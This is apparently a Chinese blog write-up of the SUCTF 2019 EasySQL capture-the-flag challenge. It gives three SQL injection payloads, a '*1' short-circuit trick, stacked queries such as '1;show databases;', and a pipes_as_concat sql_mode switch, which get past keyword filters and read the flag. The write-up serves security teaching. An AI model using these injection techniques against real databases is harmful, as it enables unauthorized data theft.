[SUCTF 2019]EasySQL 1 Writeup(超级详细)

本文章是该系列的第三篇,同样涉及到基础sql注入原理。
首先我们能看到的就是一个输入框,直接告诉了你注入点。

做了一些简单的测试,直接过滤了from、union、extractvalue、PREPARE等关键字,回显提示:NONONO!

前面的那道sql我还是讲的比较中规中矩,这道sql骚一点。

先讲讲我的第一种玩法:
首先手工盲注嘛,会发现连sleep等都全部过滤掉了,而且你输入数字的时候回显是:

Array ( [0] => 1 )

输入字符的时候啥也不回显。
有经验的师傅这个时候其实就懂得要放弃布尔盲注、时间盲注了。
这种格式很明显是要你搞后端代码,他到底怎么写的呢?
那就很有趣了。
其实你应该推断出一个基本事实:
他的后端既然能做到数字回显字母不回显,说明有一个 或 结构,而且不直接回显flag,但作为一道题目,from一定是from flag。
所以猜测后端:

select $_POST['query'] || flag from flag

上面只是个猜测啊。。。
可能不是flag是Flag,也可能from 别的地方。

但假设是这样的结构我们做一下。||是肯定有的。
那我们该怎么做?其实payload很简单:

*1

直接回显flag。
做出来过后我去看了别的wp,貌似师傅们最简单的做法就是这个,但没有解释为什么输入上述语句能得到flag回显,或者怎么就等同于:

select *,1 from flag

我们先讲第二个问题,为啥我这样写payload就等同下面的语句?
你想想这个结构。。。

1 || flag

这。。。短路语法啊。。
返回的就是1嘛。。。。
所以我们成功实现拼接:

select *,1 from flag

select 1 from 的意思其实是建立一个临时列,这个列的所有初始值都被设为1。

关键就在前面的 * 了。
所以师傅们别只拘泥于 ‘ 的布尔和 sleep的时间盲注了。。。。

第二种做法:堆叠注入
有趣的是这里没有过滤databases、show。
我们构建payload:

1;show databases;

这里就别来什么引号和#了,人家既然后端代码拼凑了,就算猜不出来也知道不用啥#、`。。。。

因为我们的目的是合理插入语句并执行,他一定有select、from并且没有过滤databases这些关键字,那肯定直接注就行了。

然后我们得到回显:

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

同理我们show tables也行:
payload:1;show tables;
回显也很简单:

Array ( [0] => 1 ) Array ( [0] => Flag )

但是show columns from Flag就不行。

只是一个正常的

Array ( [0] => 1 )

那这样猜出 || flag from Flag不是更没有难度了么。。。。

同上,搞定。

第三种是看人家wp学来的,但是这个用法之前就很熟悉,只是这道题没想到那么麻烦地去做罢了。。

先上payload:
1;set sql_mode=pipes_as_concat;select 1
其实这个不用百度。。。。
你直接看这英语意思:

pipes_as_concat

就是把 || 设置成了 concat函数呗。。。
这也是猜出了后端代码的。

但是要注意分号隔断了前面的命令,所以要再次添加select!!

上面那句执行是:

select concat(1,flag) from Flag

搞定。

难度:

简单

知识点:

后端代码猜测

1 || ** 类语句理解

select 1 from 类语句理解

set sql_mode = pipes_as_concat 命令理解(为什么没有过滤set、concat的原因)

你可能感兴趣的:(ctf)